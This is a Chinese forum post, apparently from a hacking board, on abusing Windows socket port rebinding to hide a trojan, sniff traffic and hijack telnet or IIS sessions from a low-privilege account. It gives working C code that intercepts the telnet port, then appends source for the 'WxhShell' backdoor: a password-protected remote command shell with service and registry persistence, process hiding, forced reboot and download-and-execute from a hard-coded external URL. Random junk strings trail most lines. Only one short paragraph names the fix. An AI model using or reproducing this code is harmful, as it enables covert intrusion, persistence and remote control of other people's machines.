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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G) 7;;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ruzspS  
J )~L   
  saddr.sin_family = AF_INET; }\#Rot>Y  
TDNQu_E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n3Z 5t  
\cUNsB5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  4/1d&Sg  
WP+oFkw>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R0vIbFwj  
4K\(xd&Q  
  这意味着什么?意味着可以进行如下的攻击: ]<pjXVRt"  
m~u5kbHOi=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e5B Qr$j  
~ga`\% J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TXk?#G\o  
% !>I*H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g,95T Bc  
MLWM&cFG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;\Y& ce  
9Hu/u=vB<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !Kj,9NX{U  
X+}1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "4H +!r}  
^Z# W_R\l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  }'/`2!lY  
I'iGt~4$  
  #include _/!y)&4"  
  #include ;z:UN}  
  #include \":m!K;Z  
  #include    ^8Q62  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G *;a^]-  
  int main() SNE#0L' }  
  { V8-oYwOR  
  WORD wVersionRequested; wK-3+&,9  
  DWORD ret; ^(h+URFpA  
  WSADATA wsaData; I*kK 82  
  BOOL val; %r6y ;vAf  
  SOCKADDR_IN saddr; c|62jY"$-2  
  SOCKADDR_IN scaddr; *2Ht &  
  int err; C{DvD'^  
  SOCKET s; Dzs[GAQ]  
  SOCKET sc; [YT>*BH?  
  int caddsize; c8>hc V  
  HANDLE mt; S9`flo  
  DWORD tid;   e\JojaV  
  wVersionRequested = MAKEWORD( 2, 2 ); Pgus42f%  
  err = WSAStartup( wVersionRequested, &wsaData ); )5U[o0td  
  if ( err != 0 ) { Kt|1&Gk  
  printf("error!WSAStartup failed!\n"); /_Z652@  
  return -1; K7Wk6Aw  
  } G\r?f&  
  saddr.sin_family = AF_INET; iN0nw]_*  
   "D=P8X&vs  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '-b*EZU8t  
$.v5~UGb{\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $K'|0   
  saddr.sin_port = htons(23); UHxE)]J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MR<;i2p  
  { C[Dav&=^F  
  printf("error!socket failed!\n"); $3uKw!z  
  return -1; MFm"G  
  } R&';Oro  
  val = TRUE; hQHnwr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xD[Gq%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) / iV}HV0  
  { hcbv;[bG  
  printf("error!setsockopt failed!\n"); A\#P*+k0  
  return -1; o b|BXF  
  } Xo*%/0q'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dwd:6.J(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mJ`A_0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {aJJ `t  
_}VloiY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )V:]g\t  
  {  n>`as  
  ret=GetLastError(); 'ao"9-c  
  printf("error!bind failed!\n"); s)2fG\1  
  return -1; Ch%m  
  } -O!Zxg5x  
  listen(s,2); OdY=z!Fls  
  while(1) m[@Vf9  
  { ;~u{56  
  caddsize = sizeof(scaddr); pBP.x#|  
  //接受连接请求 (%o2jroQ#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0`A~HH}  
  if(sc!=INVALID_SOCKET) 0}xFD6{X  
  { k`p74MWu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]t*[%4  
  if(mt==NULL) \Z/)Y;|mi0  
  { <rL/B k  
  printf("Thread Creat Failed!\n"); P#/HTu5q7  
  break; h=_0+\%  
  } v\"S Gc  
  } ?9=9C"&s  
  CloseHandle(mt); =)` p_W  
  } t2iv(swTe  
  closesocket(s); ~~,rp) )  
  WSACleanup(); <K4 ,7J$}h  
  return 0; ZzBQe  
  }   U}l14  
  DWORD WINAPI ClientThread(LPVOID lpParam) zf>5,k'x'A  
  { FwZ>{~?3  
  SOCKET ss = (SOCKET)lpParam; 5W@jfh)  
  SOCKET sc; v[n7"  
  unsigned char buf[4096]; gxMfu?zk"  
  SOCKADDR_IN saddr; w L^%w9q-  
  long num; l-$uHHyu*  
  DWORD val; rf%7b8[v  
  DWORD ret; \VFHHi:I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W|,V50K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W$Yc'E ;  
  saddr.sin_family = AF_INET; Pv+5K*"7Cg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )& <=.q  
  saddr.sin_port = htons(23); w7n373y%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y tf b$;|  
  { \yGsr Bl  
  printf("error!socket failed!\n"); N#_GJSG_|  
  return -1; V)i5=bHC  
  } O8W7<Wc |z  
  val = 100; 7 +@qB]Bi<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =}:)y0L  
  { K[7EOXLy  
  ret = GetLastError(); e<#DdpX!H~  
  return -1; I;?X f  
  } wB{;bB{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /Y2/!mU</  
  { F[!ckes<bB  
  ret = GetLastError(); 3u\;j; Td!  
  return -1; R1W}dRE}  
  } c$QX )V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M}wXJ8aF?  
  { 5 VA(tzmCt  
  printf("error!socket connect failed!\n"); q0bHB_|wL  
  closesocket(sc); ?`Y\)'}   
  closesocket(ss); )I-fU4?  
  return -1; 7 #=}:3c  
  } N8`4veVBx'  
  while(1) DF{ Qw@P!  
  { 6Ik,zQL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x/ :4 {  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :ECi+DxBK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M8b4NF_&  
  num = recv(ss,buf,4096,0); @v*/R%rv t  
  if(num>0) =_8Tp~j  
  send(sc,buf,num,0); `j9$T:`  
  else if(num==0) m3g2b _;  
  break; yRYWch  
  num = recv(sc,buf,4096,0); R, 8s_jN  
  if(num>0)  l"zUv  
  send(ss,buf,num,0); m%8q Zzqk  
  else if(num==0) DBs*F x[  
  break; 1]T`n/d V  
  } HOp-P8z  
  closesocket(ss); U\?g*  
  closesocket(sc); j` /&r*zNq  
  return 0 ; ro[Y-o5Q0  
  } Fequm+  
-n? g~(/P  
zK+52jhi  
========================================================== OW(&s,|6x  
Ih[+K#t+E  
下边附上一个代码,,WXhSHELL ozr9>b>M  
2`= 6%s  
========================================================== :;!\vfZbU  
#DkD!dW(l  
#include "stdafx.h" ;bX4(CMe &  
H2-28XGc  
#include <stdio.h> @l UlY2  
#include <string.h> te4= S  
#include <windows.h> VRW] a  
#include <winsock2.h> AP\ofLmq  
#include <winsvc.h> v1.q$ f^(  
#include <urlmon.h> vG2b:[W  
<39!G7ny  
#pragma comment (lib, "Ws2_32.lib") lKEa)KF[  
#pragma comment (lib, "urlmon.lib") Y#01o&f0n  
k,Zm GllQ]  
#define MAX_USER   100 // 最大客户端连接数 bO/*2oau  
#define BUF_SOCK   200 // sock buffer Q:|w%L*E  
#define KEY_BUFF   255 // 输入 buffer RX2{g^V7  
Y+/l X6'  
#define REBOOT     0   // 重启 sst,dA V$  
#define SHUTDOWN   1   // 关机 HpexH{.u)  
Ok%}|/ P4  
#define DEF_PORT   5000 // 监听端口 '?GQ~Bf<>  
|@o6NZ<9N  
#define REG_LEN     16   // 注册表键长度 xkA2g[  
#define SVC_LEN     80   // NT服务名长度 .]}N55M  
zSjgx_#U  
// 从dll定义API -&[z\"T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K.SeK3(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (w2= 2$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '?Iif#Z1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <V_7|)'/A  
B">yKB:D}t  
// wxhshell配置信息 3An(jt$%Q  
struct WSCFG { 1;W=!Fx  
  int ws_port;         // 监听端口 \T-~JQVj  
  char ws_passstr[REG_LEN]; // 口令 `HX3|w6W;  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1ZKzumF  
  char ws_regname[REG_LEN]; // 注册表键名 3LlU]  
  char ws_svcname[REG_LEN]; // 服务名 px9>:t[P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2go>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f e $Wu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oVB"f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b5e@oIK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (3EUy"z-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M'1HA  
Y&'8VdW  
}; 8 HoP( +?  
=V^@%YIn  
// default Wxhshell configuration i|\{\d  
struct WSCFG wscfg={DEF_PORT, a]VGUW-  
    "xuhuanlingzhe", @5}gsC  
    1, S@:B6](D$  
    "Wxhshell", %3a|<6  
    "Wxhshell", (clU$m+oXX  
            "WxhShell Service", Ls: =A6AGM  
    "Wrsky Windows CmdShell Service", "'eWn6O(  
    "Please Input Your Password: ", r7)@M%A  
  1, @%@zH%b  
  "http://www.wrsky.com/wxhshell.exe", {(vOt'  
  "Wxhshell.exe" ,{j4  
    }; +*t|yKO>[  
.T3=Eq&"W  
// 消息定义模块 Z%v6xP.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jFj~]]j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vg5NY =O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [{PqV):p  
char *msg_ws_ext="\n\rExit."; E5B8 Z?$a  
char *msg_ws_end="\n\rQuit."; H(\V+@~>AD  
char *msg_ws_boot="\n\rReboot..."; }#b %"I0  
char *msg_ws_poff="\n\rShutdown..."; M@^U 0 ?  
char *msg_ws_down="\n\rSave to "; V8'`nuC+  
U4wpjHg  
char *msg_ws_err="\n\rErr!"; i;lE5  
char *msg_ws_ok="\n\rOK!"; }~*rx7p  
lvufkVG|  
char ExeFile[MAX_PATH]; 9)Yw :  
int nUser = 0; 6D9o08  
HANDLE handles[MAX_USER]; hmGdjw t$  
int OsIsNt; <7g Ml  
[(c L/_  
SERVICE_STATUS       serviceStatus; G6Q4-kcK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `Ei"_W  
r69WD .  
// 函数声明 cTj~lO6  
int Install(void); V<$*Y>;  
int Uninstall(void); *j<@yG2\gP  
int DownloadFile(char *sURL, SOCKET wsh); O: u%7V/  
int Boot(int flag); 2xmT#m  
void HideProc(void); hh&Js'd  
int GetOsVer(void); &N{zkMf  
int Wxhshell(SOCKET wsl); [~?M/QI9  
void TalkWithClient(void *cs); ?0npEz|  
int CmdShell(SOCKET sock); YY!!<2_  
int StartFromService(void); 9N}W(>  
int StartWxhshell(LPSTR lpCmdLine); =QiT)9q)  
$j !8?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !3KPwI,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U,3d) ]Zy&  
.S|-4}G(6  
// 数据结构和表定义 ~_}4jnC  
SERVICE_TABLE_ENTRY DispatchTable[] = J<_1z':W)  
{ XZ@ >]P  
{wscfg.ws_svcname, NTServiceMain}, &PWf:y{R`  
{NULL, NULL} NS 5 49S  
}; H^v{Vo  
v@,XinB[  
// 自我安装 M,L@k  
int Install(void) 3*\8p6G  
{ i;HH ! TaN  
  char svExeFile[MAX_PATH]; t~~r-V":  
  HKEY key; kGj]i@(PA4  
  strcpy(svExeFile,ExeFile); o*)@oU  
g*r/u;  
// 如果是win9x系统,修改注册表设为自启动 STp!8mL  
if(!OsIsNt) { 5V rcR=?O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u-M] A z-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `1_FQnm)  
  RegCloseKey(key); *(VbPp_H_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^8\Y`Z0%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \I xzdFF#  
  RegCloseKey(key); Wy,"cT  
  return 0; w#d} TY  
    } 0hZxN2r  
  } T]X{ @_  
} f<=^ 4a  
else { s KCGuw(mh  
KF4see;;  
// 如果是NT以上系统,安装为系统服务 Ei|0L$NCg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zr R+QV  
if (schSCManager!=0) I~'gK8<e7  
{ ;;6\q!7`  
  SC_HANDLE schService = CreateService 5 {fwlA  
  ( :b,o B==%  
  schSCManager, ;y ,NC2Xj  
  wscfg.ws_svcname, Qasr:p+  
  wscfg.ws_svcdisp, ujNt(7Cz  
  SERVICE_ALL_ACCESS, T/5nu?v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *<CxFy;|  
  SERVICE_AUTO_START, Obg@YIwn  
  SERVICE_ERROR_NORMAL, }*OD M6  
  svExeFile, Z c<]^QR  
  NULL, z}mvX .j7  
  NULL, I &cX8Tw  
  NULL, Cd9t{pQD4  
  NULL, u-1@~Z  
  NULL n\ Gg6Y  
  ); eFes+i(35  
  if (schService!=0) _dY:)%[]  
  { o8mo=V4j  
  CloseServiceHandle(schService); $;ch82UiX  
  CloseServiceHandle(schSCManager); v6KL93  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C,R,:zR  
  strcat(svExeFile,wscfg.ws_svcname); \c FAxL(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H7J`]nr6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $TFTIk*uU  
  RegCloseKey(key); lWIv(%/@  
  return 0; j@_nI~7f}  
    } r8<JX5zyuo  
  } {Wr\D Vp  
  CloseServiceHandle(schSCManager); Vz k cZK  
} B_b8r7Vn`  
} d[yrNB6|  
6O%=G3I  
return 1; cy9N:MR(c  
} cyDiA(ot&  
Bac?'ypm  
// 自我卸载 _RgxKp/d  
int Uninstall(void) `$f\ %  
{ ?! _u,sT  
  HKEY key; YlG; A\]k  
E#8J+7  
if(!OsIsNt) { -uO%[/h;N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iczs8gj*  
  RegDeleteValue(key,wscfg.ws_regname); V5cb}xx  
  RegCloseKey(key); IOn`cbV:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EmYO5Whi  
  RegDeleteValue(key,wscfg.ws_regname); _dz +2au  
  RegCloseKey(key); [p2g_bI8yK  
  return 0; >_n:_  
  } 4b]IazL)  
}  9F/|`  
} gjO *h3`  
else { wYC9 ~ms-  
r .{rNR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u;$I{b@M]  
if (schSCManager!=0) }FuVY><l  
{ v4X_v!CQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _QD/!~O  
  if (schService!=0) ;&/sj-xJ2  
  { [))gn  
  if(DeleteService(schService)!=0) { aS3P(s L  
  CloseServiceHandle(schService); &f$a1#O}dx  
  CloseServiceHandle(schSCManager); lF)0aDk'h  
  return 0; ojiM2QT}m  
  } 4+BrTGp  
  CloseServiceHandle(schService); YmdsI+DbIu  
  } Bb$S^F(Xq  
  CloseServiceHandle(schSCManager); Rv0-vH.n  
} ;:-}z.7Y  
} hQ\#Fhu7  
p{+tFQy  
return 1; i.B$?cr~  
} {\ A_%  
^[k6]1h  
// 从指定url下载文件 K'>P!R:El  
int DownloadFile(char *sURL, SOCKET wsh) l!xgtP K  
{ IEKMa   
  HRESULT hr; C!CaGf=  
char seps[]= "/"; h[vAU 9f)  
char *token; ke{DFq h  
char *file; $Vd?K@W[h  
char myURL[MAX_PATH]; qb#V)  
char myFILE[MAX_PATH]; _SU,f>  
lr)G:I#|  
strcpy(myURL,sURL); h#$ _<U  
  token=strtok(myURL,seps); M80}3mgP~  
  while(token!=NULL) _Y}^%eFw  
  { ?z*W8b]'  
    file=token; j 8~Gv=(h  
  token=strtok(NULL,seps); }])G Q@  
  } O~7p^i}  
>$d d 9|[  
GetCurrentDirectory(MAX_PATH,myFILE); J@=!w[v+  
strcat(myFILE, "\\"); $`cy'ZaF  
strcat(myFILE, file); @B}&62T  
  send(wsh,myFILE,strlen(myFILE),0); Yb,G^+;  
send(wsh,"...",3,0); S(q4OQ B{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e7)>U!9c9  
  if(hr==S_OK) z:@d@\$?  
return 0; +]aD^N9['  
else w*]_FqE  
return 1; @]}Qh;a~  
Udb0&Y1^  
} 7lnM|nD  
o.v,n1Nm  
// 系统电源模块 Q*TQ*J7".X  
int Boot(int flag) ]~4}(\u  
{ 0TuNA\Ug+  
  HANDLE hToken; 3|z;K,`Fw  
  TOKEN_PRIVILEGES tkp; XFLjVrX[  
:Kt{t46)  
  if(OsIsNt) { *J*zml3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;h*"E(P p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )o}=z\M-bN  
    tkp.PrivilegeCount = 1; uC <|T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &q"uy:Rd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7KYF16A4  
if(flag==REBOOT) { uWM4O@Qn)d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g[uE@Gaj&  
  return 0; x<)!$cg  
} ?CL z@u~  
else { "N=&4<]I5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :6HiP&<  
  return 0; z^SN#v$  
} Au\ =ypK  
  } {d{WMq$  
  else { kC,DW%Ls  
if(flag==REBOOT) { 1{Sx V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }K qw\]`  
  return 0; $P1d#;rb%  
} -v/?>  
else { AmrJ_YP/t~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3oNt]2w/'  
  return 0; bN<O<x1j  
} ,sy / r V  
} \f<thd*bC  
*axza~d  
return 1; =#PudF.\  
} a*e|>pDO  
 t}* qs  
// win9x进程隐藏模块 QvyUd%e'5A  
void HideProc(void) {BwN4r46  
{ :;#c:RKi:  
' ]H#0.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :7'0:'0$t  
  if ( hKernel != NULL ) j+ T\c2d  
  {  T!O3(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cmC&s'/8`D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TO;]9`~;Mu  
    FreeLibrary(hKernel); 3mnLV*aRt  
  } J>&dWKM3  
d&3I>E$UP  
return; Qr xO erp  
} 0v,`P4_k  
[eTck73  
// 获取操作系统版本 kdZ-<O7@  
int GetOsVer(void) Y7IlqC`i  
{ .(.G`aKnF  
  OSVERSIONINFO winfo; gP"Mu#/D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ABS BtH ?  
  GetVersionEx(&winfo); T<_1|eH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e^ K=8IW  
  return 1; Yc( )'6  
  else A?<"^<A^  
  return 0; gJ}'O4*b  
} ;L/T}!Dx  
m'vOFP)'  
// 客户端句柄模块  I$sm5oL  
int Wxhshell(SOCKET wsl) EXScqGa]  
{ G5Dji_|  
  SOCKET wsh; ,4?|}xg  
  struct sockaddr_in client; hJL0M!  
  DWORD myID; EJiF_  
U#^:f7-$.  
  while(nUser<MAX_USER) I n%yMH8  
{ 1Y"y!\t7G  
  int nSize=sizeof(client); \c`r9H^v{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z6HkQ=A64  
  if(wsh==INVALID_SOCKET) return 1; . KSr@Gz  
(\[!,T"[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EEnTq  
if(handles[nUser]==0) (]# JpQ  
  closesocket(wsh); "q#kh,-C  
else 9\;/-0P  
  nUser++; Y3F.hk}O  
  } bKbpI>;[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d%|#m)  
!D]6Cq  
  return 0; d3q/mg5a  
} 4pHPf<6  
k?*DBXJv  
// 关闭 socket g960;waz3  
void CloseIt(SOCKET wsh) ri_6 wbPp  
{ `oI/;&  
closesocket(wsh); ~+NFWNgN  
nUser--; \|4MU"ri  
ExitThread(0); J}`$WL:  
} )^a#Xn3z  
[/`Hz]R  
// 客户端请求句柄 GA@Q:n8UuR  
void TalkWithClient(void *cs) 70l;**"4  
{ ~$`YzK^*X  
p!5JO4F$  
  SOCKET wsh=(SOCKET)cs; D +%k1  
  char pwd[SVC_LEN];  /o3FK  
  char cmd[KEY_BUFF]; y8 u)Q  
char chr[1]; qSs^}eN  
int i,j; sA7K ;J})  
}u$a PS<$!  
  while (nUser < MAX_USER) { [[Eu?vQ9R  
+c2=*IA/  
if(wscfg.ws_passstr) { Woy[V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~\(>m=|C:H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~k_zMU-1  
  //ZeroMemory(pwd,KEY_BUFF); MnsWB[  
      i=0; v-]-wNqT  
  while(i<SVC_LEN) { rsj}hS$  
JqhVD@1{  
  // 设置超时 a-A4xL.gm  
  fd_set FdRead; h]z|OhG  
  struct timeval TimeOut; {xx;zjt%}}  
  FD_ZERO(&FdRead); SNV+.xN  
  FD_SET(wsh,&FdRead); 9'r3L)[  
  TimeOut.tv_sec=8; ;DWp>jgy  
  TimeOut.tv_usec=0; z Clm'X/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S:T>oFUot  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n`2"(7Wj  
5 /VB'N#7s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nylIP */  
  pwd=chr[0]; A>,fG9pR  
  if(chr[0]==0xd || chr[0]==0xa) { Xg)FIaw]eT  
  pwd=0; aD`e]K ^L  
  break; zU=[Kc=$  
  } +4vX+;: br  
  i++; &(1NOyX&  
    } G U/k^ Qy  
&K*_/Q '\  
  // 如果是非法用户,关闭 socket ATkqzE`;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #6Ph"\G/  
} 8*){*'bf  
CU M~*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DY27'`n6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uy%PTi+A  
\crmNH)3  
while(1) { FnU;n  
nff]Y$FB  
  ZeroMemory(cmd,KEY_BUFF); K#yH\fn8  
r_CN/a  
      // 自动支持客户端 telnet标准   v~=ol8J B  
  j=0; eEFT(e5.>3  
  while(j<KEY_BUFF) { eWs^[^c.<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jWCC`0 T  
  cmd[j]=chr[0]; <qiap2  
  if(chr[0]==0xa || chr[0]==0xd) { enepAu-="p  
  cmd[j]=0; O!yn `< l  
  break; ^^(ZK 6d  
  } _!Q\Xn  
  j++; -$p-o Z)  
    } ZdzGJ[$  
4v JIO{m  
  // 下载文件 +Uk.|@b=-V  
  if(strstr(cmd,"http://")) { U7'oI;C$e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wB GxJ\+M  
  if(DownloadFile(cmd,wsh)) u _^=]K;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N%i<DsK.u6  
  else 9~ af\G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {u][q &n  
  } id9T[^h  
  else { Q)dns)_x  
f%l#g]]  
    switch(cmd[0]) { : s3Vl  
  9e6{(  
  // 帮助 mw%_ yDZ{  
  case '?': { Z@u mbyM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8#AXK{  
    break; PUo&>  
  } . 2Q/D?a  
  // 安装 7K4%`O  
  case 'i': { hY'%SV p  
    if(Install()) h2snGN/{Hb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t)+dW~g  
    else &(7Io?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zYJxoC{  
    break; '^AXUb  
    } o%7yhCY  
  // 卸载 ?2Dz1#%D  
  case 'r': { Kj5f:{Ur  
    if(Uninstall()) *a@UV%u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )9,"~P2[R  
    else 9_$Odc%]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Nr7N#g+u  
    break; Qgi:q  
    } "+_0idpF  
  // 显示 wxhshell 所在路径 V&85<Y%Nl|  
  case 'p': { Grv|Wuli  
    char svExeFile[MAX_PATH]; m#p^'}]!;  
    strcpy(svExeFile,"\n\r"); D.f=!rT7E7  
      strcat(svExeFile,ExeFile); wxrT(x|  
        send(wsh,svExeFile,strlen(svExeFile),0); Reo0ZU>  
    break; wtyu"=  
    } e2F7G>q:5  
  // 重启 sP!qv"u  
  case 'b': { mer{Jy s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rl8-a8j$f.  
    if(Boot(REBOOT)) ~VKXL,.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *4E,| IJ  
    else { vA`.8U 0S  
    closesocket(wsh); QkAwG[4  
    ExitThread(0); 64@s|m*  
    } r8$TT\?~  
    break; QJ?!_2Ax  
    } >kT~X ,o  
  // 关机 c i>=45@J  
